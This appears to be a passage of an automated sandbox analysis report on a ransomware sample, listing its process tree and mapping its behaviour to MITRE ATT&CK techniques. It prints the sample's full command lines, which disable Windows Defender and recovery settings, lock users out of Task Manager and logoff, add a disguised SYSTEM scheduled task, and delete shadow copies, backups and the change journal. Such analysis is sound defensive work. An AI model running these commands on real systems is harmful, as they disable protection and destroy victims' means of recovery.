  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2692
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:3148
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3044
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:116
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4832
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1148
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:3924
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:684
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1464
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:4372
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2036
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:5032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:4004
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1876
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:3348
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:4108
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:4184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4368
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:4460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4620
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:4220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:5064
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:3684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1640
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:3836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3940
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:4632
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:3404
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:2196
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:4164
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:3388
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:1852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:3960
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:5080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:4484
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:5052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3192
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:4944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4904
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1596
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:3056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2632
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:4476
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:3336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe" /F
  2⤵
  PID:5068
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:3844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:4908
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:3368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:852
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:3856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2224
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:1580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:2576
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:5016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2412
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:628
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:3044
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2516
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2496
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:3028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:4736
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:4080

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3348

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k swprv
1⤵
PID:3192

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4116

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:1372

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:4476

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery